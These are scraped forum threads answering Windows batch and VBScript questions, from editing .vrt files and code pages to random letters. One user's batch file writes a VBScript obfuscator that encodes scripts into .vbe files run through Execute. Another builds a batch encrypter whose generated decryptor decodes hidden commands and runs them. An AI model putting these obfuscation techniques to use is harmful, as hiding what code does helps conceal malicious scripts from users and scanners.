Data2016003055000.level1_level2.newDATA_main.vrt
and so on . . .
Each file looks like this:
Code: [Select] <Insert="Line 1">
<Insert="Line 2">[b]file1.vrt[/b]</Line2>
<Insert="Line 2">1</Line2>
<Insert="Line 3">file2.vrt</Line3>
<Insert="Line 3">1</Line3>
<Another line="Line 4">0</Line4>
</Insert>

Let's say the first file name to copy is Data2016001045000.level1_level2.newDATA _main.vrt. Copied file name will replace the file1.vrt and file2.vrt but having the last 4 character(main) changed to data1 and data2. So the file should look like this:
Code: [Select] <Insert="Line 1">
<Insert="Line 2">[b]Data2016001045000.level1_level2.newDATA_data1.vrt[/b]</Line2>
<Insert="Line 2">1</Line2>
<Insert="Line 3">[b]Data2016001045000.level1_level2.newDATA_data2.vrt[/b]</Line3>
<Insert="Line 3">1</Line3>
<Another line="Line 4">0</Line4>
</Insert>
Here is what I have so far. Need help:
Code: [Select]@echo off

set "search1=file1.vrt"
set "search2=file2.vrt"
set "src=C:\path\to\source\files"
pushd "%src%"

for /f "delims=" %%a in ('dir /b /a-d "*.newDATA_main.vrt" ') do (
echo Processing "%%a"
set "filename=%%a"
(
for /f "usebackq delims=" %%b in ('type "%filename%" ^& break ^> "%filename%" ') do (
set "line=%%b"
set "line=!line:%search%=%filename%data1.vrt!"
set "line=!line:%search%=%filename%data2.vrt!"
)
))>"%dst%\%%a.tmp" echo(!line1! !line2!
The details you show are TERRIBLE. Nothing learned from my previous rant?
There was a good deal of comment via PM...

This gives you a way to separate the filename elements using the data that you provided.

Code: [Select]@echo off
set "src=C:\path\to\source\files"
pushd "%src%"
for /f "tokens=1,2 delims=_" %%a in ('dir /b /a-d "*.newDATA_main.vrt" ') do (
echo "%%a_%%b_data1.vrt"
echo "%%a_%%b_data2.vrt"
)
pause
Quote from: _unknown_ on February 07, 2016, 11:48:48 AM

What do you mean terrible? I've provided a post with complete detail

Complete detail is when the line says "My name is Peter"
and you provide information that says SOMETHING like "My name is xxxxx"
instead of "abc 1111 data"

The reason why that is so important, is that Batch file code often changes when the data/text changes.

The code I provided above just shows how you can separate the filename tokens - it was quick to post.Is this like the 4th thread started on this same topic?Quote from: Squashman on February 08, 2016, 10:47:35 AM
Is this like the 4th thread started on this same topic?
Sorry but it's not the same with the previous topic. Previous topic was to insert a file inside another file. This is copying the filename and then inside that same file you'll have to search and replace a string using the filename you copied and just change the last part.Quote from: _unknown_ on February 08, 2016, 07:21:25 AM
I can do the "replace" thing for every newDATA_main.vrt using this code:

This is for data1.bat
Code: [Select]@echo off
setlocal enableextensions disabledelayedexpansion

set "search=file1.vrt"
set "replace=D2016001045000.level1_level2.newDATA_data1.vrt"

set "textFile=D2016001045000.level1_level2.newDATA_main.vrt"

for /f "delims=" %%i in ('type "%textFile%" ^& break ^> "%textFile%" ') do (
set "line=%%i"
setlocal enabledelayedexpansion
set "line=!line:%search%=%replace%!"
>>"%textFile%" echo(!line!
endlocal
)

This is for data2.bat
Code: [Select]@echo off
setlocal enableextensions disabledelayedexpansion

set "search=file2.vrt"
set "replace=D2016001045000.level1_level2.newDATA_data2.vrt"

set "textFile=D2016001045000.level1_level2.newDATA_main.vrt"

for /f "delims=" %%i in ('type "%textFile%" ^& break ^> "%textFile%" ') do (
set "line=%%i"
setlocal enabledelayedexpansion
set "line=!line:%search%=%replace%!"
>>"%textFile%" echo(!line!
endlocal
)

But this is only good for every single file and all the time, data1 and data2 were specified individually and run individually which is not good. I want to do it with more files and replace the file1.vrt and file2.vrt SIMULTANEOUSLY in one batch code .
5780.

Solve : if is not recognised as internal or external command operable program or batch?

Answer»

Hi Guys,

i am getting below error while executing a batch file. this file works for another in another FOLDER. any help is much appreciated.

"if is not recognized as internal or external COMMAND operable program or batch file"

[attachment deleted by ADMIN to conserve space]You have a line starting with the FOLLOWING - remove the call and try it.

Code: [Select]call ifI added "call" word to pause the WINDOW and check whats going wrong.call doesn't pause anything. The pause command is used to pause the execution.

It's not all that sensible to show code that is different to the code where the problem is. Seriously!!! You could not have copied and pasted that code into a CODE Block in your original post!

5781.

Solve : strange character in vbs?

Answer»

I found some vbs code online that had a character that appears invisible in browsers but still can be copied, it only appears in text editors like NOTEPAD. however I have tried this on windows 7 and it doesn't appear in the correct format. it appears on my windows 10, but when using the this strange character in windows 7 with things variables it prevents the code from working and proceeds to an error.

to see this character you have to copy the blank line in-between these parenthesis, if you cannot copy between the parenthesis then try copying the parenthesis with the bank line all together. paste in notepad afterwards~

" "

the character appears as a "Up-Arrow-Sign" in windows 10 but in windows 7 it appears as an "Egyptian-Ankh-Sign" On some computers you cannot even copy this character and paste into notepad?

my main question is does anyone know what the name of this symbol is, what it's purpose in vbs, why it is invisible in browsers, and why any of the code that involves this symbol in vbs (Doesn't have to exactly be vbs code) works in windows 10 but doesn't appear correctly on windows 7?

another thing is that the character in browsers (I'm using Google Chrome) can represent multiple of the same symbols all by using one character space.

for example copy between the parentheses.

" " - - - - - This appears 5 "Up-Arrow-Signs" but only TAKES up one space.

Why is this?

Lastly what makes this character different from other characters like this?

"©","♣","▓","Ώ","֍","¾"

Here is a example of what this character can be used for, things like messages, or encryption, or what ever.

msgbox " some random weird character ",," some random weird character title "

also if the character does appear on your computer, and you do have a logical explanation to what it is, it would be helpful if you could post your windows version to help me better understand it's symbol over a computerate point of view.

if it doesn't appear as a "Up-Arrow-Sign" on your computer version, it would be appreciated if you would inform that it doesn't work and post your windows version.

i have tried this over 5 computers at my school (All windows 7), doesn't work at school but works on my computer at home (Which is windows 10).
Have you tried viewing the file in a hex editor/viewer?Quote from: foxidrive on February 12, 2016, 12:25:26 PM

Have you tried viewing the file in a hex editor/viewer?
Yep. Look at the hex code and then look at an ASCII Chart. It will tell you exactly what it is. You could really cheat and paste it into Notepad++. It will tell you immediately what that character is.The upper set of ASCII characters is not universal. In fact, you have to have a code page for looking at the full SAC II set.
These links may help.
https://en.wikipedia.org/wiki/Windows_code_page
Quote
Problems arising from the use of code pages

Microsoft strongly recommends using UNICODE in modern applications, but many applications or data files still depend on the legacy code pages.

Programs need to know what code page to use in order to display the contents of files correctly. If a program uses the wrong code page it may show text as mojibake.
The code page in use may differ between machines, so files created on one machine may be unreadable on another.
Data is often improperly TAGGED with the code page, or not tagged at all, making DETERMINATION of the correct code page to read the data difficult.
These Microsoft code pages differ to various degrees from some of the standards and other vendors' implementations. This isn't a Microsoft issue per se, as it happens to all vendors, but the lack of consistency makes interoperability with other systems unreliable in some cases.
The use of code pages limits the set of characters that may be used.
Characters expressed in an unsupported code page may be converted to question marks (?) or other replacement characters, or to a simpler version (such as removing accents from a letter). In either case, the original character may be lost.
Ofte152 is used in Windows.
https://en.wikipedia.org/wiki/Windows-1252

Some third-party programs use their own character set.
thank you this helped very much
How do i put the hex in the editor?
Quote from: Squashman on February 12, 2016, 01:30:42 PM
Look at the hex code and then look at an ASCII Chart. It will tell you exactly what it is. You could really cheat and paste it into Notepad++. It will tell you immediately what that character is.

Follow Squashman's advice and read the essentials about ASCII - it's a set of numbers which characters can be recognised by.

This hex editor is one I've used in the past - easy to install. XVI

http://www.chmaas.handshake.de/delphi/freeware/xvi32/xvi32.htm
5782.

Solve : how to create and run a batch file in visual basic?

Answer»

hello, i need a detailed explanation on how to make batch file in visual basic with visual STUDIO, using simple commands like this

@echo off
title
color 0a
set /p "filename=Enter name of file : "
set /p "filetext=Enter text to put in file : "
echo %filetext% >> some %filename%.txt
echo Created File ("%filename%").
echo complete.
pause

nothing to much really, just trying to find detailed information on how to create a batch file in visual basic programming language and start it and it would be helpful if you could explain the VB commands... thank you
If information is static its simple just USE write to file appended method but have it write to a file with .bat file extension.

https://msdn.microsoft.com/en-us/library/1t4kyezf.aspx

Then a system call to call to the batch file

http://en.allexperts.com/q/Visual-Basic-1048/System-call.htm

So from looks of it you want VB to create this batch file and then the batch file creates a text file to pass text into... Looks like homework?

I'd give it a try on your own with info SHARED and post code here when you have questions or problems vs us doing all the work for you.

Also not sure why you would be using VB to write static info and run the batch file when the batch file alone is fine by itself. The only benefit of VB for a batch file would be if your passing dynamic info to it and creating a new batch file with new info each time the VB program is run. But from your batch file, it all looks static and so the batch by itself does what you need without the VB needed to carry it out.Quote from: DaveLembke on February 13, 2016, 10:03:37 AM

If information is static its simple just use write to file appended method but have it write to a file with .bat file extension.

https://msdn.microsoft.com/en-us/library/1t4kyezf.aspx

Then a system call to call to the batch file

http://en.allexperts.com/q/Visual-Basic-1048/System-call.htm

So from looks of it you want VB to create this batch file and then the batch file creates a text file to pass text into... Looks like homework?

I'd give it a try on your own with info shared and post code here when you have questions or problems vs us doing all the work for you.

Also not sure why you would be using VB to write static info and run the batch file when the batch file alone is fine by itself. The only benefit of VB for a batch file would be if your passing dynamic info to it and creating a new batch file with new info each time the VB program is run. But from your batch file, it all looks static and so the batch by itself does what you need without the VB needed to carry it out.

Not homework, i just need the basic command to send the text out to the batch file. thank you these links are very helpful. very appreciated! No problem... VB is not my strength but I have worked with it, mostly with VB6 back in the day. C++, C#, Python, and Perl are my choice these days depending on what I am making or altering. If you have any other questions feel free to post here.

What pushed me away from Visual Basic was that its for Windows only pretty much unless code is ported somehow. C++ and Python are my choices for cross platform programming. http://www.theregister.co.uk/2007/02/21/visual_basic_mono_linux/Quote from: DaveLembke on February 13, 2016, 10:33:32 AM
No problem... VB is not my strength but I have worked with it, mostly with VB6 back in the day. C++, C#, Python, and Perl are my choice these days depending on what I am making or altering. If you have any other questions feel free to post here.

What pushed me away from Visual Basic was that its for Windows only pretty much unless code is ported somehow. C++ and Python are my choices for cross platform programming. http://www.theregister.co.uk/2007/02/21/visual_basic_mono_linux/

Yeah i HEARD C# & C++
was better but i just use visual basic because i was told it was more beginner friendly
5783.

Solve : its always the simple things I have trouble with...?

Answer»

To my way of thinking, this should place the contents of a file into an environment variable:

Code: [Select]type temp.txt|SET /p me=
But, alas, it does not.

Thanks in advance for any help you may be able to provide.Code: [Select]set /p me=<temp.txt
Quote from: John_L. on February 15, 2016, 07:57:00 AM

To my way of thinking, this should place the contents of a file into an environment variable:

Code: [Select]type temp.txt|set /p me=
But, alas, it does not.

Thanks in advance for any help you may be able to provide.
Does the text files have multiple lines? The SET /P redirection only puts the FIRST line of the file into a variable.its always the simple things I have TROUBLE with...

I smiled, coz you apparently have trouble thinking of a descriptive THREAD title too.

file to an environment variable might have been a little better.
5784.

Solve : enter username and password?

Answer»

I want to know how to login in to ROUTER using a batch file

usually I'm using telnet cmd to login.Then it will ASK for username and password.

Please helpThere is a scriptable telnet client

Quote

Telnet Scripting Tool v.1.0
by ALBERT Yale
Could you please provide.......Quote from: arun on February 15, 2016, 02:48:56 AM
Could you please provide.......

Could you see a copy on Google?http://lmgtfy.com/?q=Telnet+Scripting+Tool+v.1.0May as well FLY over there and install it and test it for him...
5785.

Solve : Batch command for Deleting folder?

Answer» PLZ help me with command to DELETE folder with bat command that is INSIDE C:Program files
The folder name is UNITY is its path is "C:\Program Files\Unity"
I have ALREADY tried the following command but its not working............
rd /s /q "C:\Program Files\Unity"Because you need to execute that command in that directory with elevated privileges. Meaning you have to right click CMD.exe and chose Run as Administrator.Thanks
5786.

Solve : Drag a vbs file from one directory and drop in on top another vbs file with .bat?

Answer»

Okay i have a batch file that creates a VBS file named "obfuscator.vbs". "obfuscator.vbs" obfuscates other vbs files that you name in a directory that you name with help from the batch file. these names are stored in the variables %PATH% and %FILE%. all i need to do is just pass in the vbs filename "message.vbs" to the script "obfuscator.vbs" as an argument from command line. how do i do this? for example you select a directory that has the vbs file name "message.vbs". it's code displays this. note that all the code below contains 0 errors.

this is "message.vbs"
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXX

msgbox "message", ,"title"

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXX

if i drag and drop the file "message.vbs" on the "obfucator.vbs" file that is generated by this batch file, the "message.vbs" file will become obfuscated.

this is the batch file that creates the file "obfuscator.vbs"
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXX

@echo off
title Vbs Obfuscator
color 0a

set /p "PATH=Enter the path of the folder place the obfuscator : "
set /p "FILE=Enter the filename that you wish to obfuscate (.txt or .vbs) : "

echo Option Explicit >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Dim oEncoder >> "%PATH%\Obfuscator.vbs"
echo Set oEncoder = CreateObject("Scripting.Encoder") >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Dim oFso >> "%PATH%\Obfuscator.vbs"
echo Set oFso = CreateObject("Scripting.FileSystemObject") >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Dim oFiles >> "%PATH%\Obfuscator.vbs"
echo set oFiles = WScript.Arguments >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Randomize >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Call EnObfuscate(oFiles) >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo PRIVATE function EnObfuscate(oFiles) >> "%PATH%\Obfuscator.vbs"
echo Dim sFileName, oFile, sBody, i >> "%PATH%\Obfuscator.vbs"
echo Dim sFileOut, sOutput >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo For i = 0 to oFiles.Count - 1 >> "%PATH%\Obfuscator.vbs"
echo sFileName = oFiles(i) >> "%PATH%\Obfuscator.vbs"
echo set oFile = oFso.GetFile(sFileName) >> "%PATH%\Obfuscator.vbs"
echo sBody = ReadFile(oFile) >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo sOutput = Encode(Obfuscate(sBody)) >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo sFileOut = Left(sFileName, Len(sFileName) - 3) ^& "vbe" >> "%PATH%\Obfuscator.vbs"
echo WriteFile sFileOut, sOutput >> "%PATH%\Obfuscator.vbs"
echo Next >> "%PATH%\Obfuscator.vbs"
echo End Function >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Private Function ReadFile(oFile) >> "%PATH%\Obfuscator.vbs"
echo Dim oStream >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Const IOMODE_FOR_READING = 1 >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Set oStream = oFile.OpenAsTextStream(IOMODE_FOR_READING) >> "%PATH%\Obfuscator.vbs"
echo ReadFile = oStream.ReadAll >> "%PATH%\Obfuscator.vbs"
echo oStream.Close >> "%PATH%\Obfuscator.vbs"
echo End Function >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Private Sub WriteFile(sFileOut, sOutput) >> "%PATH%\Obfuscator.vbs"
echo Dim oOutputFile >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Set oOutputFile = oFso.CreateTextFile(sFileOut) >> "%PATH%\Obfuscator.vbs"
echo oOutputFile.Write sOutput >> "%PATH%\Obfuscator.vbs"
echo oOutputFile.Close >> "%PATH%\Obfuscator.vbs"
echo End Sub >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Private Function Obfuscate(txt) >> "%PATH%\Obfuscator.vbs"
echo Dim enc, i >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo enc = "" >> "%PATH%\Obfuscator.vbs"
echo for i = 1 to len(txt) >> "%PATH%\Obfuscator.vbs"
echo enc = enc ^& "chr( " ^& form( asc(mid(txt,i,1)) ) ^& " ) & " >> "%PATH%\Obfuscator.vbs"
echo next >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Obfuscate = "Execute(" ^& enc ^& " vbcrlf " ^& " ) " >> "%PATH%\Obfuscator.vbs"
echo End Function >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Private Function form(n) >> "%PATH%\Obfuscator.vbs"
echo dim r, k, ret >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo r = int(rnd * 10000) >> "%PATH%\Obfuscator.vbs"
echo k = int(rnd * 3) >> "%PATH%\Obfuscator.vbs"
echo if( k = 0) then ret = (r+n) ^& "-" ^& r >> "%PATH%\Obfuscator.vbs"
echo if( k = 1) then ret = (n-r) ^& "+" ^& r >> "%PATH%\Obfuscator.vbs"
echo if( k = 2) then ret = (n*r) ^& "/" ^& r >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo form = ret >> "%PATH%\Obfuscator.vbs"
echo End Function >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Private Function Encode(txt) >> "%PATH%\Obfuscator.vbs"
echo Const Extension = ".vbs" >> "%PATH%\Obfuscator.vbs"
echo Const Flags = 0 >> "%PATH%\Obfuscator.vbs"
echo Const Language = "" >> "%PATH%\Obfuscator.vbs"
echo. >> "%PATH%\Obfuscator.vbs"
echo Encode = oEncoder.EncodeScriptFile(Extension, txt, Flags, Language) >> "%PATH%\Obfuscator.vbs"
echo End Function >> "%PATH%\Obfuscator.vbs"

echo File "Obfuscator.vbs" was placed in the folder "%PATH%".
pause

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXX

i basically want to obfuscate the "message.vbs" file without having to put anymore effort other than ADDING the file path and file name. either way how can i do this? i ether need the batch code to do this or the vbscript code to do this.

this is an example of what im not trying to do
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXX

Dim objShell
Set objShell = Wscript.CreateObject("WScript.Shell")

objShell.Run "message.vbs"

' Using Set is mandatory
Set objShell = Nothing

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXX

sorry didn't mean to double post that, fixed itthe argument is named oFileshmm... maybe it would be more helpful to post the vbs code that "obfuscator.BAT" creates?

Option Explicit

Dim oEncoder
Set oEncoder = CreateObject("Scripting.Encoder")

Dim oFso
Set oFso = CreateObject("Scripting.FileSystemObject")

Dim oFiles
set oFiles = WScript.Arguments

Randomize

Call EnObfuscate(oFiles)

Private function EnObfuscate(oFiles)
Dim sFileName, oFile, sBody, i
Dim sFileOut, sOutput

For i = 0 to oFiles.Count - 1
sFileName = oFiles(i)
set oFile = oFso.GetFile(sFileName)
sBody = ReadFile(oFile)

sOutput = Encode(Obfuscate(sBody))

sFileOut = Left(sFileName, Len(sFileName) - 3) & "vbe"
WriteFile sFileOut, sOutput
Next
End Function

Private Function ReadFile(oFile)
Dim oStream

Const IOMODE_FOR_READING = 1

Set oStream = oFile.OpenAsTextStream(IOMODE_FOR_READING)
ReadFile = oStream.ReadAll
oStream.Close
End Function

Private Sub WriteFile(sFileOut, sOutput)
Dim oOutputFile

Set oOutputFile = oFso.CreateTextFile(sFileOut)
oOutputFile.Write sOutput
oOutputFile.Close
End Sub

Private Function Obfuscate(txt)
Dim enc, i

enc = ""
for i = 1 to len(txt)
enc = enc & "chr( " & form( asc(mid(txt,i,1)) ) & " ) & "
next

Obfuscate = "Execute(" & enc & " vbcrlf " & " ) "
End Function

Private Function form(n)
dim r, k, ret

r = int(rnd * 10000)
k = int(rnd * 3)
if( k = 0) then ret = (r+n) & "-" & r
if( k = 1) then ret = (n-r) & "+" & r
if( k = 2) then ret = (n*r) & "/" & r

form = ret
End Function

Private Function Encode(txt)
Const Extension = ".vbs"
Const Flags = 0
Const Language = ""

Encode = oEncoder.EncodeScriptFile(Extension, txt, Flags, Language)
End Function
I like these Topics where you just answer yourself...that doesn't awnser my question, "obfuscator.bat" creates obfuscator.vbs. obfuscator.vbs obfuscates other vbs files. how do i all i need to do is pass in the vbs filename "message.vbs" to the script "obfuscator.vbs" as an argument from command line. this is what im asking for. calling the file wont allow the argument oFiles to obfuscate the program. i need to basically pass the file "message.vbs" through "obfuscator.vbs".If you want to pass arguments to a VBScript program, you include the arguments at the end of the call that RUNS the script.sorry still dont get what you mean can i have a simple example?The general rule for a command line thing is like this:

my_script ar1 ar2 ar3

In this example, my_script is some suitable script or program and the items that follow are the parameters, or values the program needs to have.

If my_script is a BAT file, it can be called from a bat file:

call my_script %1 %2 %3

This is documented somewhere.

5787.

Solve : One random letter variable?

Answer»

How to I make a variable that displays a single random letter a-z.

for example

I want to do something like this

echo %RANDOM:~-1%

but instead display something like this

echo a
echo q
echo w
echo y
echo h

by doing this

echo %RandomLetter%
echo %RandomLetter%
echo %RandomLetter%
echo %RandomLetter%
echo %RandomLetter%


@echo off
REM Setup random source
REM Put this before you you start using
REM random letters
setlocal enabledelayedexpansion
set alphabet=abcdefghijklmnopqrstuvwxyz
set randsource=
REM Append alphabet as many times as you like
set copies=100
for /l %%N in (1,1,%copies%) do set randsource=!randsource!%alphabet%
set /a maxnum=26*%copies%

REM Get a random character
SET /A rnum=%RANDOM%*%maxnum%/32768+1
set randletter=!randsource:~%rnum%,1!
echo %randletter%
Or use a VBScript one-liner:

@echo off
set lowercase=96
set uppercase=64
set casetype=%uppercase%
echo randomize:wscript.echo chr(Int((26)*Rnd+1)+%casetype%) > randletter.vbs
for /f %%A in ('cscript //nologo randletter.vbs') do set randletter=%%A
echo %randletter% Here's a way to do it. Much fun.


Code: [Select]@echo off
:: Echos a random letter
set randletter=call set /a r=%%random%% %%%% 26 ^& setlocal enabledelayedexpansion ^& set "alphabet=abcdefghijklmnopqrstuvwxyz" ^& call echo %%alphabet:~!r!,1%%^& endlocal

%randletter%
%randletter%
%randletter%
%randletter%
%randletter%
%randletter%
%randletter%
%randletter%
%randletter%
%randletter%
%randletter%
Quote from: Salmon Trout on March 23, 2016, 02:07:20 AM

@echo off
REM Setup random source
REM Put this before you you start using
REM random letters
setlocal enabledelayedexpansion
set alphabet=abcdefghijklmnopqrstuvwxyz
set randsource=
REM Append alphabet as many times as you like
set copies=100
for /l %%N in (1,1,%copies%) do set randsource=!randsource!%alphabet%
set /a maxnum=26*%copies%

REM Get a random character
SET /A rnum=%RANDOM%*%maxnum%/32768+1
set randletter=!randsource:~%rnum%,1!
echo %randletter%

Okay this is helpful but is there a way a can change this to make a random 26 character alphabet variable? Randomized alphabet string 26 chars long, (no repeats)

Code: [Select]@echo off
REM 65 for upper case, 97 for lower case
set CaseType=97
> Randalphabet.vbs echo randomize timer
>> Randalphabet.vbs echo RandAlphabet=""
>> Randalphabet.vbs echo Do
>> Randalphabet.vbs echo randchar = Chr(Int(26*Rnd+%CaseType%))
>> Randalphabet.vbs echo If Instr(RandAlphabet, randchar) = 0 Then RandAlphabet = RandAlphabet ^& randchar
>> Randalphabet.vbs echo if len(RandAlphabet) = 26 Then exit Do
>> Randalphabet.vbs echo Loop
>> Randalphabet.vbs echo wscript.echo RandAlphabet
REM -----------------------------------------------

REM Here you use it
for /f "delims=" %%A in ('cscript //nologo Randalphabet.vbs') do set Randalphabet=%%A
echo %Randalphabet%
Examples

Code: [Select]cjdmtelkufvywozsnbghxairqp
pojqhbyftgweviadlxzrsncumk
ayoublqmvzdhfkxpiwcngsterj

Quote from: Salmon Trout on April 17, 2016, 01:27:48 AM
Randomized alphabet string 26 chars long, (no repeats)

Code: [Select]@echo off
REM 65 for upper case, 97 for lower case
set CaseType=97
> Randalphabet.vbs echo randomize timer
>> Randalphabet.vbs echo RandAlphabet=""
>> Randalphabet.vbs echo Do
>> Randalphabet.vbs echo randchar = Chr(Int(26*Rnd+%CaseType%))
>> Randalphabet.vbs echo If Instr(RandAlphabet, randchar) = 0 Then RandAlphabet = RandAlphabet ^& randchar
>> Randalphabet.vbs echo if len(RandAlphabet) = 26 Then exit Do
>> Randalphabet.vbs echo Loop
>> Randalphabet.vbs echo wscript.echo RandAlphabet
REM -----------------------------------------------

REM Here you use it
for /f "delims=" %%A in ('cscript //nologo Randalphabet.vbs') do set Randalphabet=%%A
echo %Randalphabet%
Examples

Code: [Select]cjdmtelkufvywozsnbghxairqp
pojqhbyftgweviadlxzrsncumk
ayoublqmvzdhfkxpiwcngsterj

thank you this is exactly what i need Have you noticed what happens if you delete or comment out the randomize timer line in the vbs?
Quote from: Salmon Trout on April 17, 2016, 12:53:27 PM
Have you noticed what happens if you delete or comment out the randomize timer line in the vbs?

the only thing that i realized is that it goes to an error on second run due to the ">" sign not being a ">>", what exactly is happening? Quote from: zask on April 22, 2016, 12:37:23 PM
the only thing that i realized is that it goes to an error on second run due to the ">" sign not being a ">>", what exactly is happening?
Comment out the VBS line being written like this (that's a single quote just before the randomize keyword)

(etc)
> Randalphabet.vbs echo 'randomize timer
(etc)
Quote from: Salmon Trout on April 22, 2016, 12:43:01 PM
Comment out the VBS line being written like this (that's a single quote just before the randomize keyword)

(etc)
> Randalphabet.vbs echo 'randomize timer
(etc)

Oh okay i see now, thats a really cool trick . Now i came up with this using some of the code that was provided by you guys and some old code i had LAYING around. this code is supposed encrypt a text file full of batch commands, then make a decrypter to take the encrypted text file, decrypt each command, and execute it within the same batch file. Now i am having a problem, each line in the text file is supposed placed in a separate variable to encrypt/decrpyt them one at a time, but if i wanted to use variable in the encrypted text file (For example~ %Variable%, %%V, !Variable!), they wont work correctly. It would appear "%Variable%" rather than what the substitution of what the variable should be set to.

for example if i typed something like this in a text file and encrypted it;

color 17
echo hello
pause

everything would work completely fine but if i tried to type something like this;

color 17
set a=hello
echo %a%
pause

When the decrypter.bat file would decrypt then execute the commands it would display as this

"%a%"

instead of

"hello"

Is there a way to fix this? here is my code so far.

@ECHO Off
echo encrypt batch file
echo.

Setlocal EnableDelayedExpansion
Set _RNDLength=8
Set _Alphanumeric=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
Set _Str=%_Alphanumeric%987654321
:_LenLoop
IF NOT "%_Str:~18%"=="" SET _Str=%_Str:~9%& SET /A _Len+=9& GOTO :_LenLoop
SET _tmp=%_Str:~9,1%
SET /A _Len=_Len+_tmp
Set _count=0
SET _RndAlphaNum=
:_loop
Set /a _count+=1
SET _RND=%Random%
Set /A _RND=_RND%%%_Len%
SET _RndAlphaNum=!_RndAlphaNum!!_Alphanumeric:~%_RND%,1!
If !_count! lss %_RNDLength% goto _loop

REM 65 for upper case, 97 for lower case
set CaseType=97
> Randalphabet.vbs echo randomize timer
>> Randalphabet.vbs echo RandAlphabet=""
>> Randalphabet.vbs echo Do
>> Randalphabet.vbs echo randchar = Chr(Int(26*Rnd+%CaseType%))
>> Randalphabet.vbs echo If Instr(RandAlphabet, randchar) = 0 Then RandAlphabet = RandAlphabet ^& randchar
>> Randalphabet.vbs echo if len(RandAlphabet) = 26 Then exit Do
>> Randalphabet.vbs echo Loop
>> Randalphabet.vbs echo wscript.echo RandAlphabet
for /f "delims=" %%A in ('cscript //nologo Randalphabet.vbs') do set Randalphabet=%%A
del Randalphabet.vbs

set /A CREATEKEY=%random% %%200 +2

set /P "FILEA= Enter the name of the text file that you wish to encrypt (Example; "Somefile") : "
set /P "FILEB= Enter the new name for the text file that you wish to encrypt (Example; "NewFile") : "

Setlocal EnableExtensions
for /f "delims=" %%A in (%FILEA%.txt) do (
Set /a C+=1
Set X[!C!]=%%A
set CHECKPASSWORD=%%A
set CHECKKEY=%%B
set CHAR=0123456789%Randalphabet%

for /l %%C in (10 1 36) do (
for /f %%D in ("!CHAR:~%%C,1!") do (
set /a MATH=%%C*%CREATEKEY%
for /f %%E in ("!MATH!") do (

set "CHECKPASSWORD=!CHECKPASSWORD:%%D=-%%E!"
)
)
)

echo !CHECKPASSWORD! >> %FILEB%.!_RndAlphaNum!
)
Set X

echo @ECHO Off >> Decrypt.bat
echo. >> Decrypt.bat
echo Setlocal EnableExtensions EnableDelayedExpansion >> Decrypt.bat
echo for /f "delims=" %%%%A in (%FILEB%.!_RndAlphaNum!) do ( >> Decrypt.bat
Setlocal DisableExtensions DisableDelayedExpansion
echo Set /a C+=1 >> Decrypt.bat
echo Set X[!C!]=%%%%A >> Decrypt.bat
echo set CHECKPASSWORD=%%%%A >> Decrypt.bat
echo set CHECKKEY=%%%%B >> Decrypt.bat
echo set CHAR=0123456789%Randalphabet% >> Decrypt.bat
echo. >> Decrypt.bat
echo for /l %%%%C in (10 1 36) do ( >> Decrypt.bat
echo for /f %%%%D in ("!CHAR:~%%%%C,1!") do ( >> Decrypt.bat
echo set /a MATH=%%%%C*%CREATEKEY% >> Decrypt.bat
echo for /f %%%%E in ("!MATH!") do ( >> Decrypt.bat
echo. >> Decrypt.bat
echo set "CHECKPASSWORD=!CHECKPASSWORD:%%%%E=%%%%D!" >> Decrypt.bat
echo ) >> Decrypt.bat
echo ) >> Decrypt.bat
echo ) >> Decrypt.bat
echo for /f %%%%F in ("!CHECKPASSWORD!") do ( >> Decrypt.bat
echo set "CHECKPASSWORD=!CHECKPASSWORD:-=!" >> Decrypt.bat
echo !CHECKPASSWORD! >> Decrypt.bat
echo ) >> Decrypt.bat
echo ) >> Decrypt.bat
echo Set X >> Decrypt.bat


I have a working example of some encrypted commands that do work, they shoud help give example of what
im trying to do, but you have to download it here.
http://www.filedropper.com/batchencrypter_2
It would be nice if Zask could tell us why he wants to do this.
If it is just for the fun of doing a task in DOS the hard way, that is OK.
But if Zask NEEDS a quick and effective solution to a piratical problem, he might say so.

